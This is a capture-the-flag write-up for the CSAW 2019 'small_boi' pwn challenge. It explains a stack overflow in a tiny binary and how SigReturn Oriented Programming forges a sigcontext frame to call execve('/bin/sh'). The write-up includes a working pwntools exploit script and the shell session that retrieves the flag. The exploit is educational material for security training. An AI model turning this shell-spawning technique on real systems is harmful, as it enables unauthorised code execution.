Very tiny binary. I used SigReturn Oriented Programming (SROP) to exploit it.
Challenge
- Category: pwn
- Points: 100
- Solves: ~150
you were a baby boi earlier, can you be a small boi now?
nc pwn.chal.csaw.io 1002
Solution
We get given a very tiny binary with only three functions. We have start which calls sub_40018C:
public start
start proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0
call sub_40018C
xor rax, rdi
mov rax, 3Ch ; '<'
syscall ; LINUX - sys_exit
nop
pop rbp
retn
; } // starts at 4001AD
start endp
We have sub_40018C which simply does a read syscall and reads 0x200 bytes of input into a stack buffer (giving us a buffer overflow):
sub_40018C proc near
buf= byte ptr -20h
; __unwind {
push rbp
mov rbp, rsp
lea rax, [rbp+buf]
mov rsi, rax ; buf
xor rax, rax
xor rdi, rdi ; fd
mov rdx, 200h ; count
syscall ; LINUX - sys_read
mov eax, 0
pop rbp
retn
; } // starts at 40018C
sub_40018C endp
And finally we have sub_40017C which has a rt_sigreturn syscall, hinting at the fact that we will need to do SigReturn Oriented Programming (SROP):
sub_40017C proc near
; __unwind {
push rbp
mov rbp, rsp
mov eax, 0Fh
syscall ; LINUX - sys_rt_sigreturn
nop
pop rbp
retn
; } // starts at 40017C
sub_40017C endp
The way the rt_sigreturn syscall works is by context-switching into a completely new stack frame which is decided by a sigcontext structure. In the case of SROP, we forge a sigcontext structure on the stack and make the rt_sigreturn syscall use this forged structure to perform any syscall we want.
At the end of the day we want to perform an execve syscall with /bin/sh as its argument. The binary also conveniently has the string '/bin/sh' at address 0x4001ca. With pwntools, this exploit is very easy.
Using gdb, first find the offset for the buffer overflow (in this case, 40 characters). Then you want to jump to the rt_sigreturn syscall, which is essentially just mov rax, 0xf followed by syscall. Then you put a fake sigcontext structure onto the stack (pwntools calls this a SigreturnFrame), where you set rax to 59 (for execve), rdi to the address of the /bin/sh string, rsi and rdx both to 0, and rip to the syscall instruction.
the rt_sigreturn syscall will context switch using these values from the fake sigcontext structure, thus calling execve with /bin/sh and giving us a shell.
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'new-window']
p = remote('pwn.chal.csaw.io', 1002)
bin_sh = 0x4001ca
sigreturn = 0x400180
syscall = 0x400185
payload = 'A'*40
payload += p64(sigreturn)
frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += str(frame)
p.send(payload)
p.interactive()
vagrant@ubuntu-bionic:/ctf/pwn-and-rev/csaw-2019-quals/pwn/small_boi$ ./exploit.py
[+] Opening connection to pwn.chal.csaw.io on port 1002: Done
[*] Switching to interactive mode
$
$ ls
flag.txt small_boi
$ cat flag.txt
flag{sigrop_pop_pop_pop}
$
Flag: flag{sigrop_pop_pop_pop}